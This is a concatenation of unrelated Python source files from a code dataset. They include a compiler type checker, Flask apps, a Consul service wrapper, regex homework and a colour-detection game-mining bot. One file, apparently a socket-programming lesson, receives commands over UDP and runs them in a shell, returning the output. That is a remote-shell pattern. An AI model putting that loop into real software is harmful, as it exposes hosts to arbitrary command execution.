TypeMismatchInStatement(ast)\r\n return None\r\n \r\n def visitIf(self, ast, c):\r\n at_expr = self.visit(ast.expr, c)\r\n if type(at_expr) is not BoolType:\r\n raise TypeMismatchInStatement(ast)\r\n at_thenstmt = [self.visit(x, c) for x in ast.thenStmt]\r\n if ast.elseStmt:\r\n at_elsestmt = [self.visit(x, c) for x in ast.elseStmt]\r\n if at_thenstmt != [] and at_elsestmt != [] and str(at_elsestmt[::-1][0]) == \"return\" and str(at_thenstmt[::-1][0]) == \"return\":\r\n return \"return\"\r\n return None\r\n\r\n def visitFor(self, ast, c):\r\n # index = -1\r\n # for x in c[0]:\r\n # index +=1\r\n # if x.name ==\"\":\r\n # break\r\n # at_id = self.visit(ast.id, (c[0][0:index],c[1]))\r\n at_id = self.visit(ast.id, c) \r\n at_expr1 = self.visit(ast.expr1, c)\r\n at_expr2 = self.visit(ast.expr2, c)\r\n if type(at_id) is not IntType or type(at_expr1) is not IntType or type(at_expr2) is not IntType:\r\n raise TypeMismatchInStatement(ast)\r\n at_stmt = [self.visit(x, (c[0],c[1],True)) for x in ast.loop]\r\n return None\r\n \r\n def visitWhile(self, ast, c):\r\n at_expr = self.visit(ast.exp,c)\r\n if type(at_expr) is not BoolType:\r\n raise TypeMismatchInStatement(ast)\r\n at_stmt = [self.visit(x, (c[0],c[1],True)) for x in ast.sl]\r\n return None\r\n \r\n def visitContinue(self, ast, c):\r\n if not c[2]:\r\n raise ContinueNotInLoop() \r\n return None\r\n \r\n def visitBreak(self, ast, c):\r\n if not c[2]:\r\n raise BreakNotInLoop() \r\n return None\r\n\r\n def visitCallStmt(self, ast, c):\r\n return self.callBody(ast,c,Procedure())\r\n#----------------------------------------EXPRESSION------------------------------------#\r\n#--------------------------------------------------------------------------------------#\r\n\r\n def visitCallExpr(self, ast, c):\r\n return self.callBody(ast,c,Function())\r\n\r\n def visitBinaryOp(self, ast, c):\r\n at_left = self.visit(ast.left, c)\r\n at_right = self.visit(ast.right, c)\r\n result_type = self.typeCheckBinary(at_left,at_right)\r\n if ast.op in ['=', '<>', '<', '<=', '>', '>='] :\r\n if result_type is not None:\r\n return BoolType()\r\n elif ast.op in ['+', '-', '*', '/']:\r\n if result_type is not None:\r\n if ast.op == '/':\r\n return FloatType()\r\n return result_type\r\n elif ast.op.lower() == 'div' or ast.op.lower() =='mod':\r\n if type(at_left) is IntType and type(at_right) is IntType:\r\n return IntType()\r\n elif ast.op.lower() == 'and' or ast.op.lower() =='or' or ast.op.lower() =='andthen' or ast.op.lower() =='orelse':\r\n if type(at_left) is BoolType and type(at_right) is BoolType:\r\n return BoolType()\r\n raise TypeMismatchInExpression(ast) \r\n\r\n def visitUnaryOp(self, ast, c):\r\n at_expr = self.visit(ast.body, c)\r\n if ast.op == '-':\r\n if type(at_expr) in [IntType, FloatType]:\r\n return at_expr\r\n elif ast.op.lower() == 'not':\r\n if type(at_expr) is BoolType:\r\n return BoolType()\r\n raise TypeMismatchInExpression(ast)\r\n\r\n def visitArrayCell(self, ast, c):\r\n at_arr = self.visit(ast.arr, c)\r\n at_idx = self.visit(ast.idx, c)\r\n if type(at_arr) is ArrayType and type(at_idx) is IntType:\r\n return at_arr.eleType\r\n raise TypeMismatchInExpression(ast) \r\n\r\n def visitId(self, ast, c):\r\n res_var = self.lookup(ast.name.lower(), c[0],lambda x: x.name.lower())\r\n if res_var is None:\r\n raise Undeclared(Identifier(), ast.name)\r\n elif type(res_var.mtype) is MType:\r\n raise Undeclared(Identifier(), ast.name)\r\n return res_var.mtype\r\n#----------------------------------------EXPRESSION------------------------------------#\r\n#--------------------------------------------------------------------------------------#\r\n\r\n def visitIntLiteral(self, ast, c):\r\n return IntType()\r\n\r\n def visitFloatLiteral(self, ast, c):\r\n return FloatType()\r\n\r\n def visitBooleanLiteral(self, ast, c):\r\n return BoolType()\r\n\r\n def visitStringLiteral(self, ast, c):\r\n return StringType()","sub_path":"ThamKhao/PPL/ref/ppl/ppl/Tham khảo/BTL/03_Assignment03/assignment3/src/main/mp/checker/StaticCheck.py","file_name":"StaticCheck.py","file_ext":"py","file_size_in_byte":12870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"369908537","text":"from librecampus.auth.provider import WhippleAuth\nfrom librecampus.types.score import Score\nfrom typing import List\nfrom dateutil.parser import parse\nimport requests\nclass ScoreFactory:\n \"\"\"\n Get sports scores from the server.\n\n :param auth: WhippleAuth instance.\n :param start_date: Start date range. MM/DD/YYYY.\n :param end_date: End date range. MM/DD/YYYY.\n \"\"\"\n def __init__(self, auth: WhippleAuth, start_date: str, end_date: str) -> None:\n self.auth = auth\n self.start = start_date\n self.end = end_date\n self.info = requests.get(\"https://{b}.myschoolapp.com/api/datadirect/DashboardScoreboardGet/?format=json&lookupDate={s}&endDate={e}\".format(b=self.auth.get_school(), s=self.start, e=self.end)).json()\n def raw_factory(self) -> list:\n \"\"\"\n Return the raw score information.\n \"\"\"\n return self.info\n def factory(self) -> List[Score]:\n \"\"\"\n Return a list of formatted Score classes.\n \"\"\"\n output = []\n for i in self.info:\n new_date = parse(i[\"schedule_date\"])\n new_item = Score(i[\"course_title\"], i[\"short_description\"], new_date, i[\"name\"], True if i[\"result\"] == \"Win\" else False, i[\"score\"], i[\"score_vs\"])\n output.append(new_item)\n del new_date\n del new_item\n return output","sub_path":"librecampus/factories/score.py","file_name":"score.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"93489947","text":"from flask import Flask, render_template, redirect, request, jsonify\nimport requests, json, os\n\napp = Flask(__name__)\nbase_url = 'https://project3-294022.wl.r.appspot.com'\n\n@app.route('/map/', methods=['GET', 'POST'])\ndef map(location_str):\n print(location_str)\n return render_template('map.html', location=location_str)\n\n@app.route('/', methods=['GET', 'POST'])\ndef index(): \n if request.method == 'POST':\n term = request.form.get('search_content')\n reponse4 = requests.get(url=base_url+'/api/posts/search/'+term)\n\n # test search\n data4 = reponse4.json()\n status4 = data4['status']\n results4 = data4['result']\n # print(' * * status 4 - search: {}'.format(status4))\n # print(' * results 4 : {}'.format(results4))\n return render_template('index.html', entities=results4)\n\n if request.method == 'GET':\n\n print(\"hahahhhd\")\n # reponse5 = requests.get(url=base_url+'/api/posts/search/')\n\n # data5 = reponse5.json()\n # status5 = data5['status']\n # results5 = data5['result']\n # # print(' * * status 5 - list: {}'.format(status5))\n # # print(' * results 5 : {}'.format(results5))\n # return render_template('index.html', entities=results5)\n return render_template('index.html')\n# Page: post a dog\n@app.route('/post', methods=['GET'])\ndef post(): \n return render_template('form.html') \n\n# Upload dog info and image\n@app.route('/upload', methods =['GET','POST']) \ndef upload(): \n if request.method == 'POST':\n img_file = request.files.get('file-upload')\n img_name = img_file.filename\n location = request.form.get('location')\n email = request.form.get('email')\n posttype = request.form.get('posttype')\n print(location, email, posttype, img_file)\n\n if not img_file:\n return 'No file uploaded.', 400\n \n if not (location, email, posttype):\n return 'Not completed form.', 400\n\n # uplaod dog info to database\n response1 = requests.post(url=base_url+'/api/posts/create', json={\n 'location': location, 'contact': email, 'post_type': posttype})\n \n # test dog info uploaded \n data1 = response1.json()\n status1 = data1['status']\n post_id = data1['post_id']\n print(' * test 1 - upload dog info: {}'.format(status1))\n print(' * * post_id : {}'.format(post_id))\n\n # upload dog image to database\n content_type = 'image/jpeg'\n file = {'file': (img_name, img_file, content_type)}\n response2 = requests.post(url=base_url+'/api/images/upload/'+post_id, files=file)\n \n # test dog image uploaded\n data2 = response2.json()\n status2 = data2['status']\n image_id = data2['image_id']\n print(' * test 2 - image upload: {}'.format(status2))\n print(' * * image_id : {}'.format(image_id))\n\n reponse5 = requests.get(url=base_url+'/api/posts/search/')\n data5 = reponse5.json()\n results5 = data5['result']\n return render_template('index.html', entities=results5) \n\n\n@app.route('/getid/', methods=['GET'])\ndef getId(post_id):\n print(post_id)\n reponse6 = requests.get(url=base_url+'/api/posts/get/'+post_id)\n data6 = reponse6.json()\n status6 = data6['status']\n result6 = data6['result']\n print(' * test 6 - get 1 dog entity: {}'.format(status6))\n print(' * * dog entity : {}'.format(result6))\n return render_template('edit.html', response=result6)\n\n@app.route('/edit', methods =['GET','POST']) \ndef edit():\n \n if request.method == 'POST':\n location = request.form.get('location')\n contact = request.form.get('email')\n posttype = request.form.get('posttype')\n post_id = request.form.get('staticPostId')\n img_file = request.files.get('file-upload')\n image_id = request.form.get('staticImageId')\n print('@@@@@@@@@@@@@@@')\n print(\"image_id: \", image_id, \"post_id: \", post_id, location, contact, posttype)\n \n # edit image \n if img_file: \n print(\"update new image\")\n img_name = img_file.filename\n content_type = 'image/jpeg'\n file = {'file': (img_name, img_file, content_type)}\n response = requests.post(url=base_url+'/api/images/upload/'+post_id, files=file)\n reponse_search = requests.get(url=base_url+'/api/posts/search/')\n data = reponse_search.json()\n results = data['result']\n return render_template('index.html', entities=results) \n \n # keep original image\n else:\n reponse7 = requests.post(url=base_url+'/api/posts/update', json={\n 'post_id': post_id, 'image_id': image_id, 'location': location, \n 'contact': contact, 'breed': 'american pit', 'post_type': posttype})\n \n # test edit function\n data7 = reponse7.json()\n status7 = data7['status']\n print(' * test 7 - edit dog entity: {}'.format(status7))\n\n reponse5 = requests.get(url=base_url+'/api/posts/search/')\n data5 = reponse5.json()\n results5 = data5['result']\n return render_template('index.html', entities=results5) \n\n\n\n\n \n","sub_path":"frontend/application/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"580025583","text":"#Mining script requires agility shortcut Falador west\n\n#rocks = [(1,copper_color,0.025,[223,129,59]),(1,tin_color,0.025,[139,130,129])] #copper&tin\nrocks = [(1,iron_color,0.015,[78,48,36])] #iron\nmm_rocks = [159,103,59]#[127,77,42]\n\nmm_rock_tol = (0.07,0.08,0.06)\nmm_east_tol = (0.07,0.08,0.08)\nmm_west_tol = (0.07,0.1,0.08)\n\nmine_icon = np.asarray(Image.open('mine_icon.png'))[...,:3]\nagility_icon = np.asarray(Image.open('agility_icon.png'))[...,:3]\n\ndef mine(rocks=rocks):\n '''mines the next rock based on weights in rocks structure\n finds rock based on color of ore plus proximity to generic rock color\n confirms uptext hovering over rock before mining\n waits for rock to appear in inventory before proceeding'''\n counts = count_rocks(rocks=rocks)\n print('Weighted totals:',counts)\n minidx = np.argmin(counts)\n weight,color,tol,bmp = rocks[minidx]\n mainscreen = get_mainscreen()\n found = find_colors(color,mainscreen,tol=tol,mode='hsl')\n b = find_colors(np.asarray([107,88,28]),mainscreen,tol=0.02)\n found = filter_near(found,b,10)\n if len(found) == 0:\n return False\n point = closest([msw/2,msh/2-20],found)\n move_mouse(*(point+[msxs,msys]))\n time.sleep(0.2)\n uptext,mask = uptext_mask(get_uptext(width=80))\n txt = image_to_string(mask)\n if 'Ru(k' in txt:\n click_mouse(*(point+[msxs,msys]))\n else:\n return False\n for i in range(100):\n time.sleep(0.05)\n if np.any(count_rocks(rocks=rocks) != counts):\n time.sleep(0.2)\n return True\n return False\n\ndef west_of_wall():\n '''returns true if character is closer to west road or mine colors than east road or mine colors'''\n minimap = get_minimap()\n if len(find_best_bitmap(mine_icon,minimap,0.05)) > 0:\n print('at mine')\n return True\n west = find_colors(west_road,minimap,tol=mm_west_tol,mode='hsl')\n clusters,counts = cluster(west,radius=2)\n if len(counts) > 0 and np.max(counts) > 100:\n west = np.concatenate(clusters[counts > 25])\n else:\n west = []\n npc_points = find_colors([255,255,0],minimap,tol=0.05,mode='hsl')\n bank_points = np.concatenate([find_colors(bank_floor,minimap,tol=0.085,mode='hsl') for bank_floor in bank_floor_colors])\n clusters,counts = cluster(bank_points)\n if len(counts) < 1 or np.count_nonzero(counts>20) < 1:\n bank_points = np.asarray([])\n else:\n bank_points = clusters[np.random.choice(np.nonzero(counts>20)[0])]\n bank_points = filter_near(bank_points,npc_points,6)\n if len(bank_points) < 10:\n rocks = find_colors(mm_rocks,minimap,tol=mm_rock_tol,mode='hsl')\n if len(west) > 0:\n west = np.concatenate([rocks,west])\n else:\n west = rocks\n east = find_colors(east_road,minimap,tol=mm_east_tol,mode='hsl')\n clusters,counts = cluster(east,radius=2)\n if len(counts) > 0 and np.max(counts) > 100:\n east = np.concatenate(clusters[counts > 10])\n else:\n east = []\n print('Locating... E:',len(east),'W:',len(west),'B',len(bank_points))\n west_best = 9001 if len(west) == 0 else np.min(np.sum(np.square(west-[mmxc-mmxs,mmyc-mmys]),axis=-1))\n east_best = 9001 if len(east) == 0 else np.min(np.sum(np.square(east-[mmxc-mmxs,mmyc-mmys]),axis=-1))\n if west_best <= east_best:\n print('west of wall')\n return True\n else:\n print('east of wall')\n return False\n \n \ndef jump_wall():\n '''The Donald can't stop us!\n tries to get as close as possible to boundary between east and west road colors on minimap\n looks for proximity of wall color, east, and west road colors on mainscreen\n attempts to confirm uptext hovering over possible wall locations\n returns true if successfully jumped'''\n minimap = get_minimap()\n east = find_colors(east_road,minimap,tol=mm_east_tol,mode='hsl')\n west = find_colors(west_road,minimap,tol=mm_west_tol,mode='hsl')\n print('Road points... E:',len(east),'W:',len(west))\n if len(west) == 0 or len(east) == 0:\n return False\n border = filter_near(east,west,3)\n print('Boundary:',len(border))\n if len(border) <= 3: #try the agility icon\n agility = find_best_bitmap(agility_icon,minimap,tol=0.05)\n else:\n agility = None\n np.random.shuffle(border)\n if len(border) > 3 or len(agility) > 0:\n border = border[0] if len(border) > 3 else (agility[np.random.randint(len(agility))]+[5,5])\n click_mouse(*(border+[mmxs,mmys]))\n flag_wait()\n mainscreen = get_mainscreen()\n wall_points = find_colors(wall_color,mainscreen,tol=0.07,mode='hsl')\n inner_wall_points = find_colors(inner_wall_color,mainscreen,tol=0.07,mode='hsl')\n outer_wall_points = find_colors([73,64,41],mainscreen,tol=0.07,mode='hsl')\n wall_points = filter_near(filter_near(wall_points,inner_wall_points,10),outer_wall_points,10)\n np.random.shuffle(wall_points)\n for point in wall_points[-5:]:\n move_mouse(*(point+[msxs,msys]))\n time.sleep(0.2)\n uptext,mask = uptext_mask(get_uptext(width=80))\n txt = image_to_string(mask)\n print(txt)\n if 'Clumb' in txt or 'timb' in txt:\n click_mouse(*(point+[msxs,msys]))\n time.sleep(5.0)\n return True\n return False\n\ntarget()\nmiss = 0\ntotal_trips = 0\nlast_mine = time.monotonic()\nwhile True:\n client = get_client()\n if len(find_bitmap(loginscreen,client)) > 0:\n login()\n continue\n if time.monotonic()-last_mine > 10*60:\n raise RuntimeError('Haven\\'t mined in 10 minutes, giving up because something ain\\'t right.')\n inv_full = count_inv() == 28\n print('Total items:',count_inv())\n if inv_full:\n if west_of_wall():\n if not jump_wall():\n minimap = get_minimap()\n west = filter_radius(find_colors(west_road,minimap,tol=mm_west_tol,mode='hsl'),[mmxc-mmxs,mmyc-mmys],70)\n print('Moving east:',len(west))\n if len(west):\n click_mouse(*(west[np.argsort(west[:,0])[-1]]+(mmxs,mmys)))\n time.sleep(2.0)\n else:\n print('Crossed wall west->east')\n else: \n if open_bank():\n deposit_all()\n total_trips = total_trips + 1\n clear_output()\n if np.random.random() < 0.5:\n polish_minimap(min_same=35,horizontal=False)\n print('Completed %i inventories'%total_trips)\n continue\n else:\n if west_of_wall():\n if not mine(rocks):\n print('No rock found!')\n miss = miss + 1\n if miss < 5:\n time.sleep(0.5)\n continue\n print('Trying new position...')\n minimap = get_minimap()\n mine_loc = find_colors(mm_rocks,minimap,tol=mm_rock_tol,mode='hsl')\n mine_loc = filter_radius(mine_loc,[mmxc-mmxs,mmyc-mmys],50)\n if len(mine_loc):\n np.random.shuffle(mine_loc)\n click_mouse(*(mine_loc[-1]+(mmxs,mmys)))\n flag_wait()\n continue\n west = find_colors(west_road,minimap,tol=mm_west_tol,mode='hsl')\n west = filter_radius(west,[mmxc-mmxs,mmyc-mmys],70)\n print('Moving west:',len(west))\n if len(west):\n click_mouse(*(west[np.argsort(west[:,0])[0]]+(mmxs,mmys)))\n time.sleep(2.0)\n else:\n print('Got lost going to mine!')\n else:\n last_mine = time.monotonic()\n miss = 0\n else: \n if not jump_wall():\n minimap = get_minimap()\n east = filter_radius(find_colors(east_road,minimap,tol=mm_east_tol,mode='hsl'),[mmxc-mmxs,mmyc-mmys],70)\n print('Moving west:',len(east))\n if len(east):\n click_mouse(*(east[np.argsort(east[:,0]-east[:,1])[0]]+(mmxs,mmys)))\n time.sleep(2.0)\n else:\n print('Got lost going to wall!')\n else:\n miss = 9999 #to move west immediately\n run_on()\n print('Crossed wall east->west')\n","sub_path":"scripts/falador_miner.py","file_name":"falador_miner.py","file_ext":"py","file_size_in_byte":8465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"594162446","text":"from __future__ import print_function\nimport re\nimport json\nfrom os import unlink, path\nfrom sys import argv\nfrom time import sleep\nfrom subprocess import Popen, PIPE\nfrom powerconsul.service.vars import CHROLE\nfrom powerconsul.kvdb import PowerConsul_KVDB as KVDB\nfrom powerconsul.service.base import PowerConsul_ServiceBase\nfrom powerconsul.service.cluster import PowerConsul_ServiceCluster\n\nclass PowerConsul_Service(PowerConsul_ServiceBase):\n \"\"\"\n Class object for representing a Consul service.\n \"\"\"\n def __init__(self, name, consul_service, local_services, noop_lockfile):\n super(PowerConsul_Service, self).__init__()\n\n # Service name / local service names\n self.name = name\n self.local = [name] if not local_services else local_services\n\n # Service KV database\n self.kv = KVDB(base_path='service/{0}'.format(consul_service))\n\n # Lock file to force a passing state for a check\n self.lock = noop_lockfile\n\n # Parse the service command\n self.command = self._get_command()\n\n # Construct cluster data\n self.cluster = PowerConsul_ServiceCluster(consul_service)\n\n def _get_command(self):\n \"\"\"\n Retrieve and validate the service command.\n \"\"\"\n\n # Require an argument\n if not len(argv) > 1:\n self.usage()\n\n # Service commands\n commands = {\n 'start': self.do_start,\n 'stop': self.do_stop,\n 'restart': self.do_restart,\n 'status': self.do_status,\n 'start-primary': self.do_start_primary,\n 'demote': self.do_demote,\n 'promote': self.do_promote\n }\n\n # Invalid command\n if not argv[1] in commands:\n self.usage()\n\n # Return the service command\n return commands[argv[1]]\n\n def _is_running(self, service):\n \"\"\"\n Return (boolean, str) representing if the service is running or not.\n \"\"\"\n proc = Popen(['/usr/sbin/service', service, 'status'], stdout=PIPE, stderr=PIPE)\n out, err = proc.communicate()\n\n # Service is running\n for rstr in ['is running', 'start/running', 'currently running']:\n if rstr in out.rstrip():\n return True, out.rstrip()\n return False, out.rstrip()\n\n def _is_primary(self):\n \"\"\"\n Return a boolean value indicating if this is a primary/active node\n for the service.\n \"\"\"\n return True if self.host in self.cluster.active_nodes else False\n\n def _stop(self, service):\n \"\"\"\n Wrapper for stopping a service.\n \"\"\"\n if not self._is_running(service):\n print('service.{0}: already stopped...'.format(service))\n else:\n print('service.{0}: stopping...'.format(service), end='')\n\n # Attempt to start the service\n proc = Popen(['/usr/sbin/service', service, 'stop'], stdout=PIPE, stderr=PIPE)\n proc.communicate()\n\n # Service failed to start\n if proc.returncode != 0:\n print(self.colored('FAILED', 'red'))\n else:\n print(self.colored('SUCCESS', 'green'))\n\n def _start(self, service):\n \"\"\"\n Wrapper for starting a service.\n \"\"\"\n if self._is_running(service):\n print('service.{0}: already running...'.format(service))\n else:\n print('service.{0}: starting...'.format(service), end='')\n\n # Attempt to start the service\n proc = Popen(['/usr/sbin/service', service, 'start'], stdout=PIPE, stderr=PIPE)\n proc.communicate()\n\n # Service failed to start\n if proc.returncode != 0:\n print(self.colored('FAILED', 'red'))\n else:\n print(self.colored('SUCCESS', 'green'))\n\n def _status(self):\n \"\"\"\n Show local service(s) status.\n \"\"\"\n\n # Local service status message\n status_message = [\n ' {0}'.format(self.bold('local:'))\n ]\n\n # Generate local service status\n for service in self.local:\n running, stdout = self._is_running(service)\n status = '{0} [ {1} ]'.format(self.colored('running...', 'green') if running else self.colored('stopped...', 'red'), stdout)\n\n # Append the local service status\n status_message.append(' service.{0}: {1}'.format(service, status))\n\n # Return the status message\n return '\\n'.join(status_message)\n\n def _lock(self):\n \"\"\"\n Generate a specified lockfile if defined before a restart.\n \"\"\"\n if self.lock:\n with open(self.lock, 'w') as f:\n f.write('')\n\n # Grace period for any running checks to complete\n sleep(2)\n\n def _unlock(self):\n \"\"\"\n Destroy a specified lockfile if defined before a restart.\n \"\"\"\n if self.lock and path.isfile(self.lock):\n unlink(self.lock)\n\n def do_start(self, force=False):\n \"\"\"\n Start the service.\n \"\"\"\n\n # Node must be primary\n if not self._is_primary() and not force:\n print('\\nCannot manually start service on a standby node! To make this node the new primary:')\n self.die('\\n> service nitrophone start-primary\\n')\n\n # Start all services\n for service in self.local:\n self._start(service)\n\n def do_stop(self, force=False):\n \"\"\"\n Stop the service.\n \"\"\"\n\n # Cannot stop on a primary node\n if self._is_primary() and not force:\n print('\\nCannot manually stop service on a primary node! To make this node the new standby')\n print('issue the following command on the standby node:')\n self.die('\\n> service nitrophone start-primary\\n')\n\n # Stop all services\n for service in reversed(self.local):\n self._stop(service)\n\n def do_restart(self):\n \"\"\"\n Restart the service.\n \"\"\"\n\n # Server must be an active node\n if not self._is_primary():\n self.die('\\nRestart commands can only be issued on primary/active nodes!\\n')\n\n # Lock checks during restart\n self._lock()\n\n # Stop / start\n self.do_stop(force=True)\n self.do_start(force=True)\n\n # Unlock checks\n self._unlock()\n\n def do_status(self):\n \"\"\"\n Show service status.\n \"\"\"\n print(self.status_title('{0}.service:'.format(self.name)))\n print(self.cluster.status())\n print(self._status())\n print('')\n\n def do_start_primary(self):\n \"\"\"\n Promote and start the current secondarys to primary nodes.\n \"\"\"\n\n # Node is already primary\n if self._is_primary():\n self.die('\\nNode is already primary/active!\\n')\n\n # Begin promotion of secondary nodes\n self.cluster.promote_secondary()\n\n # Demote the current primary\n self.cluster.demote_primary()\n\n # Wait for demotion to complete\n self.cluster.demote_primary_wait()\n\n # Wait for secondaries to get promoted\n self.cluster.promote_secondary_wait()\n\n # Switch roles\n self.cluster.switch_roles()\n\n # Demotion/promotion completed\n self.cluster.demote_primary_complete()\n self.cluster.promote_secondary_complete()\n\n def do_promote(self):\n \"\"\"\n Promote the secondary node after calling start-primary.\n \"\"\"\n kvpath = '{0}/promote'.format(self.host)\n data = self.kv.get(kvpath)\n\n # Start promotion\n if data == CHROLE.START:\n self._lock()\n self.kv.put(kvpath, CHROLE.WAIT)\n\n # Unlock after demotion completed\n if data == CHROLE.NULL:\n self.do_start(force=True)\n self._unlock()\n\n def do_demote(self):\n \"\"\"\n Demote the current primary if starting up a secondary.\n \"\"\"\n kvpath = '{0}/demote'.format(self.host)\n data = self.kv.get(kvpath)\n\n # Start demotion\n if data == CHROLE.START:\n self._lock()\n self.do_stop(force=True)\n self.kv.put(kvpath, CHROLE.WAIT)\n\n # Unlock after demotion completed\n if data == CHROLE.NULL:\n self._unlock()\n\n def usage(self):\n \"\"\"\n Print usage information.\n \"\"\"\n self.die('Usage: service {0} {start|stop|restart|start-primary|status|demote}'.format(self.name))\n\n @classmethod\n def process(cls, name, consul_service, local_services=None, noop_lockfile=None):\n \"\"\"\n Class method for handling service commands.\n \"\"\"\n service = cls(name, consul_service, local_services, noop_lockfile)\n\n # Run service command\n service.command()\n","sub_path":"powerconsul/service/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"203320087","text":"import socket\nimport subprocess\n\nsk = socket.socket(type=socket.SOCK_DGRAM)\naddr = ('127.0.0.1', 8090)\nsk.sendto(b'xxx',addr)\n\nwhile True:\n cmd,addr = sk.recvfrom(1024)\n cmd = cmd.decode('gbk')\n res = subprocess.Popen(cmd, shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n # content = b'stdout:' + res.stdout.read() + b'stderr:' + res.stderr.read()\n std_out = b'stdout :'+res.stdout.read()\n std_err = b'stderr :'+res.stderr.read()\n sk.sendto(std_out, addr)\n sk.sendto(std_err, addr)","sub_path":"网络编程/黏包问题/client_udp.py","file_name":"client_udp.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"330026431","text":"''' Homework 6\n-- Due Sunday, October 16th at 23:59\n-- Before starting, read\nhttps://www.cis.upenn.edu/~cis192/homework/\n-- Always write the final code yourself\n-- Cite any websites you referenced\n-- Use the PEP-8 checker for full style points:\nhttps://pypi.python.org/pypi/pep8\n'''\nimport re\nimport os\nimport heapq\n\n\ndef parse_emails(text_file):\n try:\n text = open(text_file, 'r')\n reader = text.read()\n e = '(\\s+[^@|\\s]+@[^@]+\\.(com|net|edu))'\n iterator = re.finditer(e, reader)\n l = list()\n for m in (match.group() for match in iterator):\n ee = '(\\S+)+@(\\S+)+\\.(com|net|edu)'\n it = re.finditer(ee, m)\n for i in it:\n l.append(i.groups())\n return l\n except FileNotFoundError as f:\n print ('No such file')\n finally:\n text.close()\n ''' Open a text file and return a list all of the email address in the\n file in the form of tuples (name, domain, tld).\n '''\n\n\ndef sorted_dates(date_file, limit):\n try:\n dates = open(date_file, 'r')\n reader = dates.read()\n e = '(\\d{2})+/+(\\d{2})+/(\\d{4}|\\d{2})'\n iterator = re.finditer(e, reader)\n heap = []\n for m in (match.groups() for match in iterator):\n e1 = '^(\\d{2})$'\n it = re.finditer(e1, m[2])\n for i in (i.group() for i in it):\n i = '20' + i\n m = (m[0], m[1], i)\n heapq.heappush(heap, '/'.join(m))\n return [heapq.heappop(heap) for i in range(len(heap))][:limit]\n except FileNotFoundError as f:\n print ('No such file')\n finally:\n dates.close()\n ''' Find all the dates in the given file and output a list of the dates\n as strings of the form 'mm/dd/yyyy'. The list should be sorted in\n ascending chronological order, and should contain AT MOST dates.\n '''\n\n\ndef sorted_files(directory):\n l = list()\n # In the OS operating system, this is the file that stores custom\n # attributes of its containing folder\n osx_ds = '.DS_Store'\n for (root, dirs, files) in os.walk(directory):\n if len(dirs) == 0:\n for f in files:\n if (f != osx_ds):\n l.append(os.path.join(root, f))\n else:\n for f in files:\n if (f != osx_ds):\n l.append(os.path.join(root, f))\n l = sorted(l, key=os.path.getsize)\n return l\n ''' Walk the specified directory and generate a list of all files found,\n in increasing order of their size in bytes. The filenames should be\n relative to the root directory, e.g. \"directory/.../file.txt\",\n rather than \"file.txt\".\n '''\n\n\ndef main():\n pass\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"hw6_OSParsing.py","file_name":"hw6_OSParsing.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"433016401","text":"import logging\nimport os\nimport sys\n\nfrom flask import Flask, jsonify\nfrom raven.contrib.flask import Sentry\n\nfrom src.api import api\nfrom src.config import BaseConfig\n\n__all__ = ['create_app']\n\n\ndef create_app(config=None, app_name=None):\n \"\"\"Creates the Flask app.\n\n Creates a instance of the flask application as it sets up\n the configuration, api blueprints, and logging.\n Args:\n config: optional configuration input\n app_name: optional name for application. Will default to app\n Returns:\n flask application instance\n \"\"\"\n def dump_config():\n print(f\"Starting {config.APP_NAME} with config:\")\n for k, v in vars(config).items():\n if not k.startswith(\"__\"):\n print(f\"{k}: {v}\")\n print(\"\\n\\n\")\n\n dump_config()\n app_name = app_name or config.APP_NAME\n app = Flask(app_name)\n\n _configure_app(app, config)\n _configure_sentry(app) # for catching silent exception logging\n _configure_blueprints(app)\n _configure_logging(app)\n return app\n\n\ndef _configure_sentry(app):\n SENTRY_KEY = app.config[\"SENTRY_DSN_KEY\"]\n SENTRY_PROJECT = app.config[\"SENTRY_PROJECT\"]\n\n #SENTRY_KEY = os.getenv(\"SENTRY_DSN_KEY\")\n #SENTRY_PROJECT = os.getenv(\"SENTRY_PROJECT\")\n app.sentry = Sentry(app, dsn=f\"https://{SENTRY_KEY}@sentry.io/{SENTRY_PROJECT}\")\n\n\ndef _configure_app(app, config=None):\n \"\"\"Establishes a dev, staging, or prod configuration.\"\"\"\n app.config.from_object(config)\n\n\ndef _configure_blueprints(app):\n \"\"\"Configure all routing blueprints.\"\"\"\n for bp in [api]: # this allows us to add other modules easily.\n app.register_blueprint(bp)\n\n\ndef _configure_logging(app):\n \"\"\"Environment-based logging setup.\"\"\"\n _set_stdout_based_logging()\n if app.debug or app.testing:\n app.logger.setLevel(logging.INFO)\n else:\n app.logger.setLevel(logging.WARN)\n\n\ndef _set_stdout_based_logging():\n root = logging.getLogger()\n root.setLevel(logging.DEBUG)\n\n ch = logging.StreamHandler(sys.stdout)\n ch.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n ch.setFormatter(formatter)\n root.addHandler(ch)\n\n\napp = create_app(config=BaseConfig)\n\n\n@app.route('/health-check', methods=['GET'])\n@app.route('/_ah/health', methods=['GET'])\ndef health_check():\n \"\"\"health check for api call\n A GET api call to this address will return a json payload\n with a OK value. This is created to have a simple test to\n ensure the api layer can be hit with no problems.\n Returns:\n json payload with 'OK' value\n \"\"\"\n return jsonify(status=\"OK\")\n\n\nif __name__ == '__main__':\n app = create_app(config=BaseConfig)\n app.run()\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"149583814","text":"# 3.py\nfrom typing import List\n\n\nclass TreeNode:\n def __init__(self, name):\n self.name = name\n self.children = []\n self.is_death = False\n\n\nclass ThroneInheritance:\n\n def __init__(self, kingName: str):\n 